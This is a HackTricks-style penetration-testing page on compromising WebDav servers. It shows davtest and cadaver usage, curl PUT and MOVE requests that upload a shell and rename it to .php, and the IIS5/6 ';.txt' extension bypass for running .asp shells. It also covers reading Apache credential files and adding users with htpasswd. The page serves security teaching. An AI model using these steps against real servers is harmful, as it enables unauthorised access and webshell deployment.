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152 lines
7.2 KiB
Markdown
152 lines
7.2 KiB
Markdown
# WebDav
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<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
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\
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Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
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Get Access Today:
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{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %}
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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{% endhint %}
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When dealing with a **HTTP Server with WebDav** enabled, it's possible to **manipulate files** if you have the right **credentials**, usually verified through **HTTP Basic Authentication**. Gaining control over such a server often involves the **upload and execution of a webshell**.
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Access to the WebDav server typically requires **valid credentials**, with [**WebDav bruteforce**](../../generic-methodologies-and-resources/brute-force.md#http-basic-auth) being a common method to acquire them.
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To overcome restrictions on file uploads, especially those preventing the execution of server-side scripts, you might:
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* **Upload** files with **executable extensions** directly if not restricted.
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* **Rename** uploaded non-executable files (like .txt) to an executable extension.
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* **Copy** uploaded non-executable files, changing their extension to one that is executable.
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## DavTest
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**Davtest** try to **upload several files with different extensions** and **check** if the extension is **executed**:
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```bash
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davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
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davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
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```
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Output sample:
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.png>)
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This doesn't mean that **.txt** and **.html extensions are being executed**. This mean that you can **access this files** through the web.
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## Cadaver
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You can use this tool to **connect to the WebDav** server and perform actions (like **upload**, **move** or **delete**) **manually**.
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```
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cadaver <IP>
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```
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## PUT request
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```
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curl -T 'shell.txt' 'http://$ip'
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```
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## MOVE request
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```
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curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
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```
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<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
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\
|
|
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
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Get Access Today:
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{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %}
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## IIS5/6 WebDav Vulnerability
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This vulnerability is very interesting. The **WebDav** does **not allow** to **upload** or **rename** files with the extension **.asp**. But you can **bypass** this **adding** at the end of the name **";.txt"** and the file will be **executed** as if it were a .asp file (you could also **use ".html" instead of ".txt"** but **DON'T forget the ";"**).
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Then you can **upload** your shell as a ".**txt" file** and **copy/move it to a ".asp;.txt"** file. An accessing that file through the web server, it will be **executed** (cadaver will said that the move action didn't work, but it did).
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.png>)
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## Post credentials
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If the Webdav was using an Apache server you should look at configured sites in Apache. Commonly:\
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_**/etc/apache2/sites-enabled/000-default**_
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Inside it you could find something like:
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```
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ServerAdmin webmaster@localhost
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Alias /webdav /var/www/webdav
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<Directory /var/www/webdav>
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DAV On
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AuthType Digest
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AuthName "webdav"
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AuthUserFile /etc/apache2/users.password
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Require valid-user
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```
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As you can see there is the files with the valid **credentials** for the **webdav** server:
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```
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/etc/apache2/users.password
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```
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Inside this type of files you will find the **username** and a **hash** of the password. These are the credentials the webdav server is using to authenticate users.
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You can try to **crack** them, or to **add more** if for some reason you wan to **access** the **webdav** server:
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```bash
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htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
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```
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To check if the new credentials are working you can do:
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```bash
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wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
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```
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## References
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* [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/)
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
|
|
|
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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</details>
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{% endhint %}
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<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
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|
\
|
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Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
|
Get Access Today:
|
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|
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %}
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